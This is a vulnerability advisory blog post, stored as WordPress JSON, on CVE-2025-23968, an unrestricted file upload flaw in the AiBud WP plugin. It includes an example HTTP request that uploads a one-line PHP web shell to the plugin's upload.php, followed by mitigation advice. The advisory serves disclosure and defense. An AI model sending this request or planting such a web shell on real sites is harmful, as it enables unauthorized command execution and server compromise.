{"id":58825,"date":"2025-07-10T06:22:32","date_gmt":"2025-07-10T06:22:32","guid":{"rendered":""},"modified":"2025-08-29T09:50:15","modified_gmt":"2025-08-29T15:50:15","slug":"cve-2025-23968-unrestricted-file-upload-vulnerability-in-wpcenter-aibud-wp","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-23968-unrestricted-file-upload-vulnerability-in-wpcenter-aibud-wp\/","title":{"rendered":"<strong>CVE-2025-23968: Unrestricted File Upload Vulnerability in WPCenter AiBud WP<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability, CVE-2025-23968, has been discovered in the AiBud WP plugin provided by WPCenter. This vulnerability allows unrestricted upload of files with dangerous types, essentially enabling potential attackers to upload a web shell to a web server. Web shells are malicious scripts used by an attacker with the intent to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44655-unauthorized-access-and-privilege-escalation-in-totolink-routers\/\"  data-wpil-monitor-id=\"73290\">escalate and maintain persistent access<\/a> on an already compromised web application. The AiBud WP plugin, widely used for various website functionalities, becomes a significant attack vector, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25178-critical-luajit-vulnerability-puts-systems-at-risk-of-compromise\/\"  data-wpil-monitor-id=\"73292\">putting numerous websites at risk<\/a> of compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-23968<br \/>\nSeverity: Critical (9.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52717-sql-injection-vulnerability-in-lifterlms-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65477\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4289974016\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WPCenter AiBud WP | Up to and including 1.8.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This vulnerability occurs due to inadequate security checks when handling <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5304-privilege-escalation-vulnerability-in-pt-project-notebooks-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"65476\">file uploads in the AiBud<\/a> WP plugin. By exploiting this flaw, an attacker can upload <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65619\">arbitrary files<\/a>, including PHP scripts, to execute server-side commands and gain unauthorized access to the server&#8217;s file system. This can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52817-authorization-bypass-in-zealousweb-abandoned-contact-form-7-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65750\">lead to a full system<\/a> compromise, data theft, and even the launching of further attacks against other related systems.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-740411660\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/aibud-wp\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary\n------WebKitFormBoundary\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary--<\/code><\/pre>\n<p>In this example, the attacker sends a POST request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65483\">vulnerable upload<\/a> endpoint of the AiBud WP plugin (`upload.php`). The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36845-server-side-request-forgery-ssrf-vulnerability-in-eveo-urve-web-manager\/\"  data-wpil-monitor-id=\"73291\">request contains a multipart data payload with a PHP web<\/a> shell (`shell.php`). If the request is successful, the web shell is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66383\">uploaded to the server and the attacker can execute arbitrary<\/a> system commands.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>It&#8217;s strongly recommended to apply vendor patches as soon as they&#8217;re available. If a patch isn&#8217;t available or can&#8217;t be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) may help mitigate the vulnerability temporarily. However, these are not long-term solutions and the system remains at risk until the patch is applied. Security best practices also recommend regular system and application updates, rigorous <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8279-critical-input-validation-vulnerability-in-gitlab-language-server\/\"  data-wpil-monitor-id=\"73293\">input validation<\/a>, and least privilege practices.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability, CVE-2025-23968, has been discovered in the AiBud WP plugin provided by WPCenter. This vulnerability allows unrestricted upload of files with dangerous types, essentially enabling potential attackers to upload a web shell to a web server. Web shells are malicious scripts used by an attacker with the intent to escalate and maintain [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-58825","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58825","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=58825"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58825\/revisions"}],"predecessor-version":[{"id":66040,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58825\/revisions\/66040"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=58825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=58825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=58825"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=58825"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=58825"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=58825"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=58825"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=58825"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=58825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}